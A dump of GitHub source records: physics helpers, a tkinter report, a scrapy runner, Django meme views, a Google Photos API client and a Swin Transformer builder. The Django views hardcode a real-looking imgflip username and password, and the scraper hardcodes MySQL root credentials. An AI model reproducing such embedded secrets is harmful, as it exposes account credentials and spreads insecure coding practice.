ValueError: Invalid inputs. Enter positive value.\n    \"\"\"\n    if moles < 0 or kelvin < 0 or pressure < 0:\n        raise ValueError(\"Invalid inputs. Enter positive value.\")\n    return moles * kelvin * UNIVERSAL_GAS_CONSTANT / pressure\n\n\ndef temperature_of_gas_system(moles: float, volume: float, pressure: float) -> float:\n    \"\"\"\n    >>> temperature_of_gas_system(2, 100, 5)\n    30.068090996146232\n    >>> temperature_of_gas_system(11, 5009, 1000)\n    54767.66101807144\n    >>> temperature_of_gas_system(3, -0.46, 23.5)\n    Traceback (most recent call last):\n        ...\n    ValueError: Invalid inputs. Enter positive value.\n    \"\"\"\n    if moles < 0 or volume < 0 or pressure < 0:\n        raise ValueError(\"Invalid inputs. Enter positive value.\")\n\n    return pressure * volume / (moles * UNIVERSAL_GAS_CONSTANT)\n\n\ndef moles_of_gas_system(kelvin: float, volume: float, pressure: float) -> float:\n    \"\"\"\n    >>> moles_of_gas_system(100, 5, 10)\n    0.06013618199229246\n    >>> moles_of_gas_system(110, 5009, 1000)\n    5476.766101807144\n    >>> moles_of_gas_system(3, -0.46, 23.5)\n    Traceback (most recent call last):\n        ...\n    ValueError: Invalid inputs. Enter positive value.\n    \"\"\"\n    if kelvin < 0 or volume < 0 or pressure < 0:\n        raise ValueError(\"Invalid inputs. Enter positive value.\")\n\n    return pressure * volume / (kelvin * UNIVERSAL_GAS_CONSTANT)\n\n\nif __name__ == \"__main__\":\n    from doctest import testmod\n\n    testmod()\n","repo_name":"TheAlgorithms/Python","sub_path":"physics/ideal_gas_law.py","file_name":"ideal_gas_law.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"}
+{"seq_id":"17135339210","text":"# -*- coding: utf-8 -*-\r\nimport tkinter as tk\r\n\r\nroot = tk.Tk()\r\nroot.geometry(\"600x600\")\r\nroot.title(\"Disaster inc. finance report\")\r\n\r\nmonths = (\"January\",\"Febuary\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"Novemeber\",\"December\")\r\nprofits = (70000,1234545,8000000,7817000,98753,12345,7891011,12131456,107623131,666666,101810101,16517151)\r\n\r\ndef findMax() -> (int,str):\r\n    the_max = max(profits)\r\n    month = months[profits.index(the_max)]\r\n    return (the_max,month)\r\n\r\ndef findMin() -> (int,str):\r\n    the_min = min(profits)\r\n    month  = months[profits.index(the_min)]\r\n    return (the_min,month)\r\n\r\n\r\nmaxLabel = tk.Label(root,text=\"Maximum Earnings in the form of (maximum,month) :\")\r\nminLabel = tk.Label(root,text=\"minimum Earnings in the form of (maximum,month) :\")\r\n\r\nmaxLabel.pack()\r\nminLabel.pack()\r\n\r\nmaxLabel[\"text\"] += \"\\n\"+str(findMax())\r\nminLabel[\"text\"] += \"\\n\"+str(findMin())\r\nroot.mainloop()\r\n","repo_name":"Pandademic/disaster-inc-report","sub_path":"disaster_inc_gui.py","file_name":"disaster_inc_gui.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30838616083","text":"from scrapy.crawler import CrawlerRunner\nfrom twisted.internet import reactor, defer\nfrom spiders.all_fests_spider import AllFestivalsSpider\nfrom spiders.location_spider import AllLocationSpider, RecentLocationSpider\nimport mysql.connector\nimport time\nfrom sys import exit\n\n# Set up db connection\ntry:\n    db_conn = mysql.connector.connect(host=\"127.0.0.1\", user=\"root\", password=\"password\", database=\"database\")\n    db_conn.autocommit = True\nexcept Exception as e:\n    exit(e)\n\nrunner = CrawlerRunner({\n    'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'\n})\n\n\n@defer.inlineCallbacks\ndef crawl():\n    # Put the spiders in this function\n\n    # yield runner.crawl(AllFestivalsSpider, db_conn=db_conn, disable_redirect=True,\n    #                    callback_hook=lambda item: print(item))\n\n    # yield runner.crawl(AllLocationSpider, locations=['new york'], disable_redirect=True, db_conn=db_conn,\n    #                    callback_hook=lambda item: print(item))\n\n    yield runner.crawl(RecentLocationSpider, db_conn=db_conn, locations=['new york'], disable_redirect=False,\n                       max_depth=1, callback_hook=lambda item: print(item))\n    reactor.stop()\n\n\nstart = time.perf_counter()\ncrawl()\nreactor.run()\nend = time.perf_counter()\nprint(f'Crawler(s) took {end - start} seconds to complete')\n# db_conn.close()\n","repo_name":"Tauag/edmtrain_scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"36621067057","text":"import random, string, requests, json\r\n\r\nfrom django.contrib.auth.models import User\r\nfrom django.contrib.auth.views import LoginView, TemplateView\r\nfrom django.shortcuts import render\r\nfrom accounts.models import UserProfile\r\n   \r\ndef display_cookie(request):\r\n    cookie_value = request.COOKIES['my_cookie']\r\n    \r\n    response = requests.get('https://api.imgflip.com/get_memes')\r\n    global memes\r\n    memes = random.sample([ meme for meme in json.loads(response.text)['data']['memes'] ],5)\r\n    print(memes)\r\n    memes_array = [{ 'meme_url':meme['url'],'box_count':''.join([str(i) for i in range(0,meme[\"box_count\"])]),'name':meme['name']} for meme in memes ]\r\n    print(\"new arr\",memes_array)\r\n    memes_arr = { meme['url']:''.join([str(i) for i in range(0,meme[\"box_count\"])]) for meme in memes }\r\n    print(memes_arr)\r\n    username = request.user.username\r\n    UserProfile.objects.get_or_create(user=request.user)\r\n    user = User.objects.get(username=username)\r\n    consent_obj = user.profile\r\n    consent_obj.consent = True\r\n    \r\n    user.save()\r\n    consent_obj.save()\r\n    return render(request, 'home.html',{'cookie_value':cookie_value, 'memes_url':memes_array, 'hide_consent': True})\r\n\r\nclass LoginUser(LoginView):\r\n    template_name = 'login.html'\r\n\r\n\r\nclass HomeView(TemplateView):\r\n    template_name = 'home.html'\r\n        \r\n    def get(self, request):\r\n        response = render(request, 'home.html')\r\n        cookie_string = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16))\r\n        response.set_cookie('my_cookie', cookie_string)    \r\n        return response\r\n\r\n\r\nclass MemeView(TemplateView):\r\n    template_name = 'meme.html'\r\n      \r\n    def __get_rendered_meme__(self, meme_id, meme_url, box_details):\r\n        imgflip_user = \"BeastTerrorOfficial\"\r\n        imgflip_pass = \"Champion1996.\"\r\n        URL = 'https://api.imgflip.com/caption_image'\r\n        print(box_details)\r\n        params = {\r\n            'username':imgflip_user,\r\n            'password':imgflip_pass,\r\n            'template_id':meme_id,\r\n        }\r\n        counter = 0\r\n        for box in box_details:\r\n            params['boxes[{0}][text]'.format(counter)] = box\r\n            counter +=1\r\n        response = requests.request('POST',URL,params=params).json()\r\n        return response['data']['url']\r\n        \r\n        \r\n    def get(self, request, meme_url, box_count):\r\n            \r\n        boxes = [ request.GET.get(\"box{0}\".format(box_num)) for box_num in box_count ]\r\n        if None not in boxes:\r\n            for meme in memes:\r\n                print(str(meme[\"url\"]), str(meme_url))\r\n                if str(meme[\"url\"]) == str(meme_url):\r\n                    meme_url= self.__get_rendered_meme__(meme[\"id\"],meme_url, boxes)\r\n        response = render(request, 'meme.html', context={'meme_url':meme_url,'box_count':box_count})\r\n        return response\r\n    \r\n\r\n    \r\n    ","repo_name":"renuchauhan625/MemePointOfficial","sub_path":"MemePoint/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5409596856","text":"def solution(array, x, y,visited):\n    if visited +1 == 1 << (len(array) +1) :\n        return array[x][y] + array[y][0]\n    temp = []\n    for i,j in enumerate(array[x]):\n        if not (visited & 1<<i):\n            temp.append(array[x][y] +solution(array, y, i, visited | 1<< i))\n\n    return min(temp)\n\nnum = int(input())\nnums = []\nvisited = []\nfor i in range(num):\n    temp = []\n    n = int(input())\n    temp2 = (1 << n) | 1\n    for i in range(n):\n        temp.append(list(map(int,input().split())))\n    nums.append(temp)\n    visited.append(temp2)\n\nfor i,j in enumerate(nums):\n    answer = solution(j,0,0,visited[i])\n    print(\"#\" + str(i+1) +\" \" + str(answer))\n\n","repo_name":"aimhigh53/AlgoWing","sub_path":"MoonYeol/1회차/sw_advanced_ExhaustiveSearch2.py","file_name":"sw_advanced_ExhaustiveSearch2.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"34181406527","text":"import json\nimport logging\nimport os\nfrom typing import Generator, List, Tuple\n\n# noinspection PyPackageRequirements\nfrom google.auth.transport.requests import AuthorizedSession\n# noinspection PyPackageRequirements\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\n\nfrom ImageSaverLib.Helpers import chunkiterable_gen\nfrom ImageSaverLib.Storage.Errors import UploadError, DownloadError, StorageError, NotFoundError\nfrom .resources.Album import Album\nfrom .resources.MediaItem import MediaItem\nfrom .resources.NewMediaItemResult import NewMediaItemResult\n\n\n# inspired by gphotos-upload\n# source https://github.com/eshmu/gphotos-upload\n\n\nclass SessionBuilder(object):\n    @classmethod\n    def _auth(cls, scopes, credentials_file):\n        flow = InstalledAppFlow.from_client_secrets_file(\n            credentials_file,\n            scopes=scopes)\n\n        credentials = flow.run_local_server(host='localhost',\n                                            port=8080,\n                                            authorization_prompt_message=\"\",\n                                            success_message='The auth flow is complete; you may close this window.',\n                                            open_browser=True)\n\n        return credentials\n\n    @classmethod\n    def get_authorized_session(cls, auth_token_file, credentials_file):\n        scopes = ['https://www.googleapis.com/auth/photoslibrary',\n                  'https://www.googleapis.com/auth/photoslibrary.sharing']\n\n        credentials_file = os.path.abspath(os.path.expanduser(credentials_file))\n        if not os.path.exists(credentials_file):\n            raise ValueError('credentials file missing')\n\n        auth_token_file = os.path.abspath(os.path.expanduser(auth_token_file))\n\n        if os.path.exists(auth_token_file):\n            try:\n                cred = Credentials.from_authorized_user_file(auth_token_file, scopes)\n                return AuthorizedSession(cred)\n            except OSError as err:\n                logging.debug(\"Error opening auth token file - {0}\".format(err))\n            except ValueError:\n                logging.debug(\"Error loading auth tokens - Incorrect format\")\n        else:\n            cred = cls._auth(scopes, credentials_file)\n            try:\n                cls._save_cred(cred, auth_token_file)\n            except OSError as err:\n                logging.debug(\"Could not save auth tokens - {0}\".format(err))\n            return AuthorizedSession(cred)\n\n    @classmethod\n    def get_cred_json(cls, cred):\n        # type: (Credentials) -> str\n        cred_dict = {\n            'token': cred.token,\n            'refresh_token': cred.refresh_token,\n            'id_token': cred.id_token,\n            'scopes': cred.scopes,\n            'token_uri': cred.token_uri,\n            'client_id': cred.client_id,\n            'client_secret': cred.client_secret\n        }\n        return json.dumps(cred_dict)\n\n    @classmethod\n    def _save_cred(cls, cred, auth_file):\n        # type: (Credentials, str) -> None\n\n        with open(auth_file, 'w') as f:\n            f.write(cls.get_cred_json(cred))\n\n\nclass ApiCaller(object):\n    def __init__(self, session):\n        # type: (AuthorizedSession) -> None\n        self.session = session\n        self.pageSize = 50\n        self.album_max_size = 20000\n        self.debug = False\n\n    def createAlbum(self, album_name):\n        create_album_body = json.dumps({\"album\": {\"title\": album_name}})\n        if self.debug:\n            print(\"createAlbum post\", album_name)\n        response = self.session.post('https://photoslibrary.googleapis.com/v1/albums', create_album_body)\n        if response.status_code != 200:\n            print(response.json())\n            raise StorageError(\"unable to download media, response code was not 200: \" + str(response.status_code))\n        return Album(response.json())\n\n    def listAlbums(self, exclude_non_app_created=False):\n        # type: (bool) -> Generator[Album, None, None]\n        # print(self.session.headers)\n        params = {\n            'excludeNonAppCreatedData': exclude_non_app_created,\n            'pageSize': self.pageSize\n        }\n        i = 0\n        while True:\n            if self.debug:\n                print(\"listAlbums get iteration\", i)\n            i += 1\n            response = self.session.get('https://photoslibrary.googleapis.com/v1/albums', params=params).json()\n            if 'albums' in response:\n                for album in response['albums']:\n                    yield Album(album)\n            if 'nextPageToken' in response:\n                params['pageToken'] = response['nextPageToken']\n            else:\n                break\n\n    def listMediaItemsInAlbum(self, album):\n        # type: (Album) -> Generator[MediaItem, None, None]\n        params = {\n            'pageSize': self.pageSize * 2,\n            'albumId': album.id\n        }\n        i = 0\n        while True:\n            if self.debug:\n                print(\"listMediaItemsInAlbum post iteration\", i)\n            # traceback.print_stack()\n            i += 1\n            # response = self.session.get('https://photoslibrary.googleapis.com/v1/mediaItems', params=params).json()\n            response = self.session.post('https://photoslibrary.googleapis.com/v1/mediaItems:search',\n                                         json.dumps(params)).json()\n            # print(response)\n            # print('-' * 20)\n            if 'mediaItems' in response:\n                for media_item in response['mediaItems']:\n                    # print(media_item)\n                    yield MediaItem(media_item)\n            if 'nextPageToken' in response:\n                params['pageToken'] = response['nextPageToken']\n            else:\n                break\n\n    def getSizeOfMediaItem(self, mediaitem):\n        # type: (MediaItem) -> int\n        response = self.session.head(mediaitem.baseUrl\n                                    + '=d',\n                                    # + '-w' + str(media_item.mediaMetadata.width)\n                                    # + '-h' + str(media_item.mediaMetadata.height)\n                                    # + '-c',\n                                    allow_redirect=True\n                                    )\n        if response.status_code != 200:\n            print(response.json())\n            raise DownloadError(\"unable to download media, response code was not 200: \" + str(response.status_code))\n        return int(response.headers['Content-Length'])\n\n    def uploadBytes(self, file_name, file_bytes):\n        # type: (str, bytes) -> str\n        \"\"\"\n        Uploads bytes to Google servers, returning an umpload token.\n        This token can be used to create a MediaItem\n        \"\"\"\n        self.session.headers[\"X-Goog-Upload-File-Name\"] = file_name\n        self.session.headers[\"X-Goog-Upload-Protocol\"] = 'raw'\n        try:\n            if self.debug:\n                print(\"uploadBytes post, bytes:\", len(file_bytes))\n            response = self.session.post('https://photoslibrary.googleapis.com/v1/uploads', file_bytes)\n            if response.status_code != 200:\n                raise UploadError(\"unable to upload media, response code was not 200: \" + str(response.status_code))\n        finally:\n            self.session.headers.pop(\"X-Goog-Upload-File-Name\")\n            self.session.headers.pop(\"X-Goog-Upload-Protocol\")\n        return response.content.decode()\n\n    def createMediaItem(self, upload_tokens_descriptions, target_album):\n        # type: (List[Tuple[str, str]], Album) -> List[NewMediaItemResult]\n        \"\"\"\n        The returning NewMediaItemResult.mediaItem might not be fully populated, however the id is most certainly\n        present. A second call to getMediaItemByID() is necessary.\n        \"\"\"\n        if len(upload_tokens_descriptions) == 0:\n            raise ValueError('empty token list')\n        if len(upload_tokens_descriptions) + target_album.mediaItemsCount > self.album_max_size:\n            raise ValueError('current album size and token count exceed max album size')\n        new_media_items_list = []\n        for upload_token, description in upload_tokens_descriptions:\n            new_media_items_list.append({\"description\": description,\n                                         \"simpleMediaItem\": {\"uploadToken\": upload_token}\n                                         })\n        create_body = {\"albumId\": target_album.id,\n                       \"newMediaItems\": new_media_items_list}\n        if self.debug:\n            print(\"createMediaItem post\")\n        response = self.session.post('https://photoslibrary.googleapis.com/v1/mediaItems:batchCreate',\n                                     json.dumps(create_body))\n        response_json = response.json()\n        if 'newMediaItemResults' not in response_json:\n            print(response.status_code, response_json)\n        new_media_item_results_list = []\n        if 'newMediaItemResults' in response_json:\n            for new_media_item_result in response_json['newMediaItemResults']:\n                # print(new_media_item_result)\n                new_media_item_results_list.append(NewMediaItemResult(new_media_item_result))\n        if len(new_media_item_results_list) != len(upload_tokens_descriptions):\n            raise StorageError(\"unable to create all media items. Token count: \"\n                               + str(len(upload_tokens_descriptions))\n                               + \", Media Item count: \"\n                               + str(len(new_media_item_results_list))\n                               + \" response code: \" + str(response.status_code)\n                               + \" raw: \" + str(response.text))\n        return new_media_item_results_list\n\n    def getMediaItemByID(self, mediaitem_id):\n        # type: (str) -> MediaItem\n        if not mediaitem_id:\n            raise ValueError('mediaitem_id is empty')\n        if self.debug:\n            print(\"getMediaItemByID get\")\n        response = self.session.get('https://photoslibrary.googleapis.com/v1/mediaItems/' + mediaitem_id)\n        if response.status_code != 200:\n            # print(response.json())\n            raise NotFoundError(\"unable to download media, response code was not 200: \" + str(response.status_code)+\"; response: \"\n                               +str(response.raw))\n        return MediaItem(response.json())\n\n    def getAlbumByID(self, album_id):\n        # type: (str) -> Album\n        if not album_id:\n            raise ValueError('album_id is empty')\n        if self.debug:\n            print(\"getAlbumByID get\")\n        response = self.session.get('https://photoslibrary.googleapis.com/v1/albums/' + album_id)\n        if response.status_code != 200:\n            print(response.json())\n            raise NotFoundError(\"unable to download album_id, response code was not 200: \" + str(response.status_code))\n        return Album(response.json())\n\n    def downloadMediaItem(self, media_item):\n        # type: (MediaItem) -> bytes\n        # print('downloading URL', media_item.baseUrl)\n        if self.debug:\n            print(\"downloadMediaItem get\")\n        response = self.session.get(media_item.baseUrl\n                                    + '=d'\n                                    # + '-w' + str(media_item.mediaMetadata.width)\n                                    # + '-h' + str(media_item.mediaMetadata.height)\n                                    # + '-c'\n                                    )\n        if response.status_code != 200:\n            print(response.json())\n            raise DownloadError(\"unable to download media, response code was not 200: \" + str(response.status_code))\n        return response.content\n\n    def removeMediaItemsFromAlbum(self, album, media_items):\n        # type: (Album, List[MediaItem]) -> None\n        if len(media_items) != len(set((i.id for i in media_items))):\n            raise ValueError(\"duplicate media items\")\n        for chunk in chunkiterable_gen(media_items, 50, skip_none=True):\n            request_body = {'mediaItemIds': [i.id for i in chunk]}\n            if self.debug:\n                print(\"removeMediaItemsFromAlbum post\")\n            response = self.session.post('https://photoslibrary.googleapis.com/v1/albums/'\n                                         + album.id\n                                         + ':batchRemoveMediaItems',\n                                         json.dumps(request_body))\n            if response.status_code != 200:\n                print(response.json())\n                raise StorageError(\"unable to remove media, response code was not 200: \" + str(response.status_code))\n\n    def addMediaItemsToAlbum(self, album, media_items):\n        # type: (Album, List[MediaItem]) -> None\n        if len(media_items) != len(set((i.id for i in media_items))):\n            raise ValueError(\"duplicate media items\")\n        for chunk in chunkiterable_gen(media_items, 50, skip_none=True):\n            request_body = {'mediaItemIds': [i.id for i in chunk]}\n            if self.debug:\n                print(\"addMediaItemsToAlbum post\")\n            response = self.session.post('https://photoslibrary.googleapis.com/v1/albums/'\n                                         + album.id\n                                         + ':batchAddMediaItems',\n                                         json.dumps(request_body))\n            if response.status_code != 200:\n                print(response.json())\n                raise StorageError(\"unable to add media, response code was not 200: \" + str(response.status_code))\n","repo_name":"FlorianSauer/ImageSaver","sub_path":"ImageSaverLib/Storage/GooglePhotosStorage/api/ApiCaller.py","file_name":"ApiCaller.py","file_ext":"py","file_size_in_byte":13532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28859147469","text":"import numpy as np\nimport tensorflow as tf\nfrom keras import backend, layers, models\nfrom keras.src.applications import imagenet_utils\nfrom keras.src.utils import conv_utils, data_utils, layer_utils\nfrom tfswin.ape import AbsoluteEmbedding\nfrom tfswin.basic import BasicLayer\nfrom tfswin.embed import PatchEmbedding\nfrom tfswin.merge import PatchMerging\nfrom tfswin.norm import LayerNorm\n\nBASE_URL = 'https://github.com/shkarupa-alex/tfswin/releases/download/{}/swin{}_{}.h5'\nWEIGHT_URLS = {\n    'swin_tiny_224': BASE_URL.format('3.0.0', '', 'tiny_patch4_window7_224_22k'),\n    'swin_small_224': BASE_URL.format('3.0.0', '', 'small_patch4_window7_224_22k'),\n    'swin_base_224': BASE_URL.format('3.0.0', '', 'base_patch4_window7_224_22k'),\n    'swin_base_384': BASE_URL.format('3.0.0', '', 'base_patch4_window12_384_22k'),\n    'swin_large_224': BASE_URL.format('3.0.0', '', 'large_patch4_window7_224_22k'),\n    'swin_large_384': BASE_URL.format('3.0.0', '', 'large_patch4_window12_384_22k'),\n\n    'swin2_tiny_256': BASE_URL.format('3.0.0', 'v2', 'tiny_patch4_window16_256'),\n    'swin2_small_256': BASE_URL.format('3.0.0', 'v2', 'small_patch4_window16_256'),\n    'swin2_base_256': BASE_URL.format('3.0.0', 'v2', 'base_patch4_window12to16_192to256_22kto1k_ft'),\n    'swin2_base_384': BASE_URL.format('3.0.0', 'v2', 'base_patch4_window12to24_192to384_22kto1k_ft'),\n    'swin2_large_256': BASE_URL.format('3.0.0', 'v2', 'large_patch4_window12to16_192to256_22kto1k_ft'),\n    'swin2_large_384': BASE_URL.format('3.0.0', 'v2', 'large_patch4_window12to24_192to384_22kto1k_ft')\n}\nWEIGHT_HASHES = {\n    'swin_tiny_224': '06588c1314ec16f5d46b6381431c1fc9355f82c4eda0f34e7e57ee32048b6d9a',\n    'swin_small_224': '49d799e6b860d97377e2d67f866d691f6ee8e02dd6e6d9c485eb3ee0a0076508',\n    'swin_base_224': '61792331fce60c47cf7d2bd8e77c8496245cced095a698ab84b275fc20aab32c',\n    'swin_base_384': '928ff42574b6c24e55be56563a73419d51e38a0488d72c075c040de8dafd6df2',\n    'swin_large_224': '22bf2dc2e5bd99a490b7cd2362519fbe672a576c78c275d12ad17461e75664fd',\n    'swin_large_384': '9deaef34b99aa58240cb5f9fa383838e39646e7d23c77942cb3ab320e175124c',\n\n    'swin2_tiny_256': '6416e13f50c46dcd2bf9252d548053fe6443b2a6b4d4bc69cab295923092e3cd',\n    'swin2_small_256': '669f81de05bb5fb5419924f1c2847e5ed9ebf2e353ee06699101cc5e124dec4c',\n    'swin2_base_256': '50cc998725e9024c9d4da6951f41a6205b4aec104d17f277a77ebf7020074af3',\n    'swin2_base_384': '1ba46e24461aab919cb7997cee17de1259d13917d84366a836551d9fe920c6de',\n    'swin2_large_256': '87b4cfc35ba6c3fc9de52184c37dfb2ec280e22052730678b1f9c6c4e5719448',\n    'swin2_large_384': '9d83698a8cc05eb1ff978665ea8891d5471f8ea40a1b079bf93d241e31306abc'\n}\n\n\ndef SwinTransformer(\n        pretrain_size, window_size, embed_dim, depths, num_heads, patch_size=4, patch_norm=True, use_ape=False,\n        drop_rate=0., mlp_ratio=4., qkv_bias=True, qk_scale=None, attn_drop=0., path_drop=0.1,\n        window_pretrain=None, swin_v2=False, model_name='swin', include_top=True, weights=None,\n        input_tensor=None, input_shape=None, pooling=None, classes=1000, classifier_activation='softmax'):\n    \"\"\"Instantiates the Swin Transformer architecture.\n\n    Args:\n      pretrain_size: height/width of input image for pretraining.\n      window_size: window partition size.\n      embed_dim: patch embedding dimension.\n      depths: depth of each Swin Transformer layer.\n      num_heads: number of attention heads.\n      patch_size: patch size used to divide input image.\n      patch_norm: whether to add normalization after patch embedding.\n      use_ape: whether to add absolute position embedding to the patch embedding.\n      drop_rate: dropout rate.\n      mlp_ratio: ratio of mlp hidden units to embedding units.\n      qkv_bias: whether to add a learnable bias to query, key, value.\n      qk_scale: override default qk scale of head_dim ** -0.5 if set.\n      attn_drop: attention dropout rate.\n      path_drop: stochastic depth rate.\n      window_pretrain: window partition size used in pretraining.\n      swin_v2: whether to use V2 model architecture.\n      model_name: model name.\n      include_top: whether to include the fully-connected layer at the top of the network.\n      weights: one of `None` (random initialization), 'imagenet' (pre-training on ImageNet or ImageNet 21k), or the\n        path to the weights file to be loaded.\n      input_tensor: tensor (i.e. output of `layers.Input()`) to use as image input for the model.\n      input_shape: shape tuple without batch dimension. Used to create input layer if `input_tensor` not provided.\n      pooling: optional pooling mode for feature extraction when `include_top` is `False`.\n        - `None` means that the output of the model will be the 3D tensor output of the last layer.\n        - `avg` means that global average pooling will be applied to the output of the last layer, and thus the output\n          of the model will be a 2D tensor.\n        - `max` means that global max pooling will be applied.\n      classes: optional number of classes to classify images into, only to be specified if `include_top` is True.\n      classifier_activation: the activation function to use on the \"top\" layer. Ignored unless `include_top=True`.\n        When loading pretrained weights, `classifier_activation` can only be `None` or `\"softmax\"`.\n\n    Returns:\n      A `keras.Model` instance.\n    \"\"\"\n    if not (weights in {'imagenet', None} or tf.io.gfile.exists(weights)):\n        raise ValueError('The `weights` argument should be either `None` (random initialization), `imagenet` '\n                         '(pre-training on ImageNet), or the path to the weights file to be loaded.')\n\n    if weights == 'imagenet' and include_top and classes not in {1000, 21841}:\n        raise ValueError('If using `weights` as `\"imagenet\"` with `include_top` as true, '\n                         '`classes` should be 1000 or 21841 depending on model type')\n\n    if input_tensor is not None:\n        try:\n            backend.is_keras_tensor(input_tensor)\n        except ValueError:\n            raise ValueError(f'Expecting `input_tensor` to be a symbolic tensor instance. '\n                             f'Got {input_tensor} of type {type(input_tensor)}')\n\n    if input_tensor is not None:\n        tensor_shape = backend.int_shape(input_tensor)[1:]\n        if input_shape and tensor_shape != input_shape:\n            raise ValueError('Shape of `input_tensor` should equals to `input_shape` if both provided.')\n        else:\n            input_shape = tensor_shape\n\n    # Determine proper input shape\n    input_shape = imagenet_utils.obtain_input_shape(\n        input_shape,\n        default_size=pretrain_size,\n        min_size=32,\n        data_format='channel_last',\n        require_flatten=False,\n        weights=weights)\n\n    if input_tensor is not None:\n        if backend.is_keras_tensor(input_tensor):\n            image = input_tensor\n        else:\n            image = layers.Input(tensor=input_tensor, shape=input_shape, dtype='float32')\n    else:\n        image = layers.Input(shape=input_shape)\n\n    # Define model pipeline\n    x = PatchEmbedding(patch_size=patch_size, embed_dim=embed_dim, normalize=patch_norm, name='patch_embed')(image)\n\n    if use_ape:\n        pretrain_size_ = conv_utils.conv_output_length(\n            pretrain_size, patch_size, padding='same', stride=patch_size, dilation=1)\n        x = AbsoluteEmbedding(pretrain_size_)(x)\n\n    x = layers.Dropout(drop_rate, name='pos_drop')(x)\n\n    path_drops = np.linspace(0., path_drop, sum(depths))\n\n    if not swin_v2:\n        window_pretrain = np.minimum(window_size, pretrain_size // 2 ** np.arange(2, 6)).tolist()\n    elif window_pretrain is None and swin_v2:\n        window_pretrain = [0] * len(depths)\n\n    for i in range(len(depths)):\n        path_drop = path_drops[sum(depths[:i]):sum(depths[:i + 1])].tolist()\n        not_last = i != len(depths) - 1\n\n        x = BasicLayer(depth=depths[i], num_heads=num_heads[i], window_size=window_size, mlp_ratio=mlp_ratio,\n                       qkv_bias=qkv_bias, qk_scale=qk_scale, drop=drop_rate, attn_drop=attn_drop, path_drop=path_drop,\n                       window_pretrain=window_pretrain[i], swin_v2=swin_v2, name=f'layers.{i}')(x)\n        if not_last:\n            x = PatchMerging(swin_v2=swin_v2, name=f'layers.{i}/downsample')(x)\n\n    x = LayerNorm(name='norm')(x)\n\n    if include_top or pooling in {None, 'avg'}:\n        x = layers.GlobalAveragePooling2D(name='avg_pool')(x)\n    elif pooling == 'max':\n        x = layers.GlobalMaxPooling2D(name='max_pool')(x)\n    else:\n        raise ValueError(f'Expecting pooling to be one of None/avg/max. Found: {pooling}')\n\n    imagenet_utils.validate_activation(classifier_activation, weights)\n    x = layers.Dense(classes, name='head')(x)\n    x = layers.Activation(classifier_activation, dtype='float32', name='pred')(x)\n\n    # Ensure that the model takes into account any potential predecessors of `input_tensor`.\n    if input_tensor is not None:\n        inputs = layer_utils.get_source_inputs(input_tensor)\n    else:\n        inputs = image\n\n    # Create model.\n    model = models.Model(inputs, x, name=model_name)\n\n    # Load weights.\n    if 'imagenet' == weights and model_name in WEIGHT_URLS:\n        weights_url = WEIGHT_URLS[model_name]\n        weights_hash = WEIGHT_HASHES[model_name]\n        weights_path = data_utils.get_file(origin=weights_url, file_hash=weights_hash, cache_subdir='tfswin')\n        model.load_weights(weights_path)\n    elif weights is not None:\n        model.load_weights(weights)\n\n    if include_top:\n        return model\n\n    last_layer = 'norm'\n    if pooling == 'avg':\n        last_layer = 'avg_pool'\n    elif pooling == 'max':\n        last_layer = 'max_pool'\n\n    outputs = model.get_layer(name=last_layer).output\n    model = models.Model(inputs=inputs, outputs=outputs, name=model_name)\n\n    return model\n\n\ndef SwinTransformerTiny224(model_name='swin_tiny_224', pretrain_size=224, window_size=7, embed_dim=96,\n                           depths=(2, 2, 6, 2), num_heads=(3, 6, 12, 24), path_drop=0.2, weights='imagenet',\n                           classes=21841, **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           weights=weights, classes=classes, **kwargs)\n\n\ndef SwinTransformerSmall224(model_name='swin_small_224', pretrain_size=224, window_size=7, embed_dim=96,\n                            depths=(2, 2, 18, 2), num_heads=(3, 6, 12, 24), path_drop=0.3, weights='imagenet',\n                            classes=21841, **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           weights=weights, classes=classes, **kwargs)\n\n\ndef SwinTransformerBase224(model_name='swin_base_224', pretrain_size=224, window_size=7, embed_dim=128,\n                           depths=(2, 2, 18, 2), num_heads=(4, 8, 16, 32), path_drop=0.5, weights='imagenet',\n                           classes=21841, **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           weights=weights, classes=classes, **kwargs)\n\n\ndef SwinTransformerBase384(model_name='swin_base_384', pretrain_size=384, window_size=12, embed_dim=128,\n                           depths=(2, 2, 18, 2), num_heads=(4, 8, 16, 32), weights='imagenet', classes=21841, **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, weights=weights, classes=classes,\n                           **kwargs)\n\n\ndef SwinTransformerLarge224(model_name='swin_large_224', pretrain_size=224, window_size=7, embed_dim=192,\n                            depths=(2, 2, 18, 2), num_heads=(6, 12, 24, 48), weights='imagenet', classes=21841,\n                            **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, weights=weights, 